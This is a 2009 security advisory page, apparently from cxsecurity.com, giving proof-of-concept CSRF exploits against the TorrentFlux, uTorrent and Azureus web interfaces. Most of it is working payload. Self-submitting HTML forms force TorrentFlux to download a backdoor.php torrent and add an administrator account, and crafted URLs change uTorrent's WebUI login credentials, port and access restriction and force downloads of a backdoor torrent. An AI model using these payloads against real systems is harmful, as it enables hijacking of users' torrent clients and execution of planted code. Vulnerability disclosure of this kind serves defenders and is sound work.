BitTorrent Clients and CSRF

2009.04.06
Credit: th3 r00k
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-94

The following are proof of concept exploits against three bittorrent clients. uTorrent' WebUI, Azurues's "HTML WebUI", and TorrentFlux. More information: http://www.rooksecurity.com/blog/?p=10 TorrentFlux v2.3(Latest) http://sourceforge.net/projects/torrentflux/ If you force TorrentFlux to download a torrent that contains a file backdoor.php you will be able to execute it by browsing here: http://localhost/torrentflux_2.3/html/downloads/USER_NAME/ You do not have to know a password to access this folder, but you will have to know the username. <html> <form id='file_attack' method="post" action="http://localhost/torrentflux_2.3/html/index.php"> <input type=hidden name="url_upload" value="http://localhost/backdoor.php.torrent"> <input type=submit value='file attack'> </from> <html> <script> document.getElementById('file_attack').submit(); </script> <html> Add an admistrative account: <form id=?create_admin? method=?post? action=?http://localhost/torrentflux_2.3/html/admin.php?op=addUser?> <input type=hidden name=?newUser? value=?sadmin?> <input type=hidden name=?pass1? value=?password?> <input type=hidden name=?pass2? value=?password?> <input type=hidden name=?userType? value=1> <input type=submit value=?create admin?> </form> </html> <script> document.getElementById(?create_admin?).submit(); </script> uTorrent?s WebUI is also affected: http://forum.utorrent.com/viewtopic.php?id=14565 force file download: http://127.0.0.1:8080/gui/?action=add-url&s=http://localhost/backdoor.to rrent utorrent change administrative login information: http://127.0.0.1:8080/gui/?action=setsetting&s=webui.username&v=badmin http://127.0.0.1:8080/gui/?action=setsetting&s=webui.password&v=badmin http://127.0.0.1:8080/gui/?action=setsetting&s=webui.port&v=4096 After the username or password have been changed then the browser must re-authenticate. http://127.0.0.1:8080/gui/?action=setsetting&s=webui.restrict&v=127.0.0. 1/24,10.1.1.1 So is Azurues?s HTML WebUI: Force file download: http://127.0.0.1:6886/index.tmpl?d=u&upurl=http://localhost/backdoor.tor rent

Referencje:

http://xforce.iss.net/xforce/xfdb/41925
http://www.securityfocus.com/bid/28846
http://www.securityfocus.com/archive/1/archive/1/491066/100/0/threaded
http://secunia.com/advisories/29935
http://osvdb.org/44645


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top